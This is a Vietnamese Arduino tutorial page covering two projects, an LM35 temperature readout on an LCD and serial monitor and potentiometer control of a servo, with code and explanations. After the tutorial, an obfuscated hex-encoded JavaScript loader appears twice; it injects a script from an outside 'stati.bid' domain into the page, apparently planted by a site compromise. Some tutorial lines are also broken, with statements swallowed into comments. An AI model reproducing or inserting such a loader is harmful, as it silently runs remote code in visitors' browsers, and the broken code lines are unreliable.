Giao tiếp Arduino với một số linh kiện điện tử.
9) Project 9. Đo nhiệt độ môi trường dùng LM35D hiển thị LCD và Serial Monitor.
Sơ đồ mạch.
#include <LiquidCrystal.h>
LiquidCrystal lcd(12, 11, 5, 4, 3, 2); // dinh nghia chan cho LCD
int maxC=0, minC=100, maxF=0, minF=212;
int scale = 1;
int buttonPin=8; //chan ket noi voi phim nhan
void setup() {
lcd.begin(16, 2); // khai bao su dung lcd 16×2
analogReference(INTERNAL);// khai bao dien ap tham chieu cho lm35 Serial.begin(9600);
pinMode(buttonPin, INPUT); lcd.clear();
}
void loop() {
lcd.setCursor(0,0);
int sensor = analogRead(0); // doc du lieu tu lm35
int buttonState = digitalRead(buttonPin);
if (buttonState==1) {
scale=-scale;
lcd.clear();
}
switch (scale) {
case 1: celsius(sensor);
break;
case -1: fahrenheit(sensor);}
delay(250);
}
void celsius(int sensor) {
lcd.setCursor(0,0);
int temp = sensor* 0.1074188;
Serial.print(“Nhiet do moi truong :”);
Serial.print(temp);
Serial.println(” do C”);
lcd.print(temp);
lcd.write(B11011111); // “ 0”
lcd.print(“C “);
if (temp>maxC) {maxC=temp;}
if (temp<minC) {minC=temp;}
lcd.setCursor(0,1);
lcd.print(“H=”);
lcd.print(maxC);
lcd.write(B11011111);
lcd.print(“C L=”);
lcd.print(minC);
lcd.write(B11011111);
lcd.print(“C “);
}
void fahrenheit(int sensor)
{ lcd.setCursor(0,0);
float temp = ((sensor * 0.1074188) * 1.8)+32; // chuyen doi sang do F
Serial.print(“Nhiet do moi truong :”);
Serial.print(int(temp));
Serial.println(“do F”);
lcd.print(int(temp));
lcd.write(B11011111);
lcd.print(“F “);
if (temp>maxF) {maxF=temp;}
if (temp<minF) {minF=temp;}
lcd.setCursor(0,1);
lcd.print(“H=”);
lcd.print(maxF);
lcd.write(B11011111);
lcd.print(“F L=”);
lcd.print(minF);
lcd.write(B11011111);
lcd.print(“F “);
}
Giải thích chương trình:
Tổng quan: chương trình sẽ kiểm ta mức điện áp ngõ ra của LM35 tương ứng với nhiệt độ của môi trường hiển thị trên Lcd và Serial Monitor. Nhiệt độ của môi trường được tính bằng độ C và độ F, nếu nhấn phím thì sẽ thay đổi hiển thị là độ C hay độ F.
Bắt đầu chương trình ta khai báo thư viện Lcd và định nghĩa chân cũng như các biến cần dùng cho toàn bộ chương trình.
#include <LiquidCrystal.h>
LiquidCrystal lcd(12, 11, 5, 4, 3, 2); // dinh nghia chan cho LCD
int maxC=0, minC=100, maxF=0, minF=212;
int scale = 1;
int buttonPin=8;// chan ket noi voi phim nhan
Trong hàm setup() chúng ta cần quan tâm tới câu lệnh:
analogReference(INTERNAL);
Khai báo điện áp tham chiếu cho bộ chuyển đổi ADC bên trong Arduino Uno là 1,1V ( đây là giá trị điện áp tham chiếu nội mặc định của Arduino Uno).
Để tính toán đúng nhiệt độ môi trường chúng ta cần lưu ý những điểm sau:
Bộ chuyển đổi ADC gồm 10 bit tức là 1024 mức.
Điện áp tham chiếu cho bộ chuyển đổi ADC là 1,1V.
Đối với LM35 thì điện áp ngõ ra tuyến tính với nhiệt độ của môi trường. Hệ số chuyển đổi điện áp sang nhiệt độ là 10mV/10C = 0,01V/10C.
Xây dựng công thức tính nhiệt độ.
Ta biết:
1,1 volt (1100 mV) có 1024 mực biểu diễn, vậy 1 mức sẽ là 1,1/1024 (volt),
để chuyển đổi từ điện áp sang nhiệt độ thì ta chia tiếp cho 0,01V. Từ đây ta thấy cứ 1 mức chuyển đổi của ADC tương ứng với 0C = 0.10742188 0C.
Như vậy chúng ta chỉ cần đọc giá trị đầu vào ở chân A0 (giá trị nằm trong khoảng 0
– 1023) và gán chúng cho biến integer sensor.
int sensor = analogRead(0);
Để tính ra nhiệt độ chính xác chúng ta nhân giá trị của sensor với 0.10742188. Trong chương trình con celsius(int sensor) ta có câu lệnh:
int temp = sensor* 0.1074188;
Trong chương trình con fahrenheit(int sensor) ta có câu lệnh chuyển đổi từ độ C sang độ F là:
float temp = ((sensor * 0.1074188) * 1.8)+32;
10) Project 10: Giao tiếp Arduino với Servo motor.
Sơ đồ mạch
Code chương trình.
#include <Servo.h>
Servo servo1;
void setup()
{
servo1.attach(5);
}
void loop()
{
int angle = analogRead(0); // Read the pot value angle=map(angle, 0, 1023, 0, 180);
servo1.write(angle);
delay(15);
}
Giải thích chương trình:
Khai báo thư viện cho Servo motor bằng câu lệnh.
#include <Servo.h>
Khai báo đối tượng có tên là servo1
Trong hàm setup() ta định nghĩa chân cho Servo:
servo1.attach(5) ;
Chân số 5 của Arduino sẽ nối với chân input của Servo motor.
Đọc giá trị điện áp của biến trở và gán nó cho biến integer angle :
int angle = analogRead(0);
Giá trị đọc được từ biến trở sẽ nằm trong khoảng 0 đến 1023 và góc quay của Servo từ 00 đến 1800 ta sử dụng câu lệnh :
angle=map(angle, 0, 1023, 0, 180);
Câu Lệnh này sẽ chuyển đổi từ giá trị của biến trở sang góc quay tương ứng của Servo.
Để điều khiển góc quay của Servo ta dùng câu lệnh:
servo1.write(angle);
var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)
var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)